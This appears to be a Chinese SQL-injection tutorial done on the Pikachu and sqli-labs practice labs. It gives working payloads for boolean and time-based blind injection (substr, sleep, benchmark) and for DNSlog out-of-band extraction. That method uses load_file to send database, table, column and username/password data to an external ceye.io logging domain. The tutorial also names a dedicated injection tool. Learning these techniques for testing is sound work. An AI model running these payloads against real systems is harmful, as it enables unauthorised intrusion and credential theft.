一.前言
在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回 一个"通用的"的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办 法就无法使用了。这种情况我们称之为无回显,如果页面有信息显示,我们称之为有回显。回显状态的 页面没什么可说的,无回显的这种我们就可以采用盲注的手段
二.盲注
2.1 Boolian(布尔型)盲注
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特 殊的方法进行判断或尝试,这个过程称为盲注。
SQL盲注分为两大类:基于布尔型SQL盲注、基于时间型SQL盲注
盲注的话其实手工来测很费时费力,所以一般我们采用工具来测,我们先手工看看效果。 通过pikachu的盲注功能看看效果
我们发现这个注入没有效果了
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:
vince' and extractvalue(0,concat(0x7e,version()))#
输入后根据返回的信息判断之前的思路 不再适用。
那么我们这样搞:输入语句
select ascii(substr(database(),1,1))>xx;
通过对比ascii码的长度, 判断出数据库表名的第一个字符。
注:substr()函数 substring -- sub子集 string -- 字符串 子字符串 aabbcc -- aa bb aab aabbc pikachu 从第一个位置开始取出1个字符 ascii('p')
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被 返回字符串的长度。
通过和数字的对比,我们看到结果有1和0,1表示真,0表示假,推断出数据库名称首字母是ascii表上的112数字,代表字母为p
但是一个一个字母的查询,查询多少个为止呢?我们同样可以使用length来判断表名的长度,判断出长 度后就能多次输入payload来爆破出每一个表名的字符。输入语句:
vince' and length(database())=7 #
注:select
语句不能直接嵌套在 and
后面这样使用,所以length前面不要加上select
回到pikachu平台按照之前的逻辑,我们构造语句,如果返回1,那么就会爆出选择的信息,返回0,就 会返回 您输入的username不存在! 。按照之前逻辑,输入sql语句:
vince' and ascii(substr(database(),1,1))=112#
通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码,注意vince是一个数据库中存在的用户名昂。同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。不断的猜解
结果没有报错,说明存在这个注入点,布尔型盲注基本都是通过ascii码来测试的。
2.2 base on time(时间型)盲注
到base on time盲注下,输入上个演示中设置好的payload:
vince' andascii(substr(database(),1,1))=112#
返回的信息发现不存在注入点。那这样就不能进行注入 了?当然还要继续尝试,其实可以通过后端的执行时间来进行注入。这里会用到的 payload:
vince'and sleep(5)#
那么你会看到页面等待了5秒钟才出结果,说明有注入点
基于时间的延迟,构造一个拼接语句:
vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(3),null#
,输入后,如果猜测真确,那么就会响应3秒,如果错误会立刻返回错误。输入:
vince' and if(substr(database(),1,1)='p',sleep(3),null)#
,在web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解。
时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果
如果sleep被防御了,可以使用benchmark。
vince' and if(substr(database(),1,1)='p',benchmark(10000000,MD5(1)) ,null)#
三.DNSlog方式
dnslog注入也可以称之为dns带外查询,Dns在域名解析时会在DNS服务器上留下域名和解析ip的记录, 可以在dns服务器上查询相应的dns解析记录,来获取我们想要的数据。
大致原理:
就是通过注入A网站的地址,将无回显的敏感数据带出放到A网站的记录上
具备DNSlog日志记录功能的网站A我们不用自己搭建,可以采用如下三个,当然如果你想自己搭建也是可以的:
http://ceye.io/ 知道创宇公司提供的
http://www.dnslog.cn/
http://admin.dnslog.link #最近发现,这个好像不太好用了
我们就看看第一个网址:
我们数据都会回显在这里
条件:
1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。
2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \\www.xxx.com 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行DNSlog注入,注入语句如下
select load_file('\\\\xxx.xxxx.xxx\\xx');#xxx.xxxx.xxx\\xx是某个网址
第一步:先看一下网址域名 f5iwy3.ceye.io
第二步:将网址添加到sql语句中
select load_file('\\\\xxx.f5iwy3.ceye.io\\abc');
第三步:开启MySQL的读取文件功能的配置项
secure_file_priv=""
第四步:在mysql命令行先执行一下我们的写好的sql语句
第五步:看一下日志记录
发现,有记录了,并且看到了pp这个数据,那么我们就可以继续构造获取敏感数据的sql语句了
select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')) #获取库名
第六步:开始注入
3.1 获取当前库名
and select * from member where id=1 and (select load_file(concat('//',(select database()),'.f5iwy3.ceye.io/abc')));#
and select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.f5iwy3.ceye.io\\abc')));#
3.2 获取表名
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.f5iwy3.ceye.io\\abc')));#
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.f5iwy3.ceye.io\\abc')));#
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.f5iwy3.ceye.io\\abc')));#
修改limit后面的数字即可将每个表名都查出来
3.3 查询字段名
and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='member' limit 0,1),'.f5iwy3.ceye.io\\abc')));#
同样也是修改limit后面的数字,将member表的字段名一个一个的取出来
3.4 查询数据
查询一下member的username和pw字段的数据
and (select load_file(concat('\\\\',(select username from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#
and (select load_file(concat('\\\\',(select pw from member limit 0,1),'.f5iwy3.ceye.io\\abc')));#
我们只需要把这个用于其他类似于字符型注入或者数字型注入里去测试就好了
四.DNSlog注入工具
这个工具不太好用了,也好久没有更新了,知道有这样的工具即可,有兴趣的可以自己去找找新的工 具,这个我们就不演示了。
有一个专门针对DNSlog注入的工具,叫做DNSlogSqlinj,python27语言写的。
GitHub - ADOOO/DnslogSqlinj
修改一下配置文件里的APItoken和DNSurl就可以使用了
用法: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+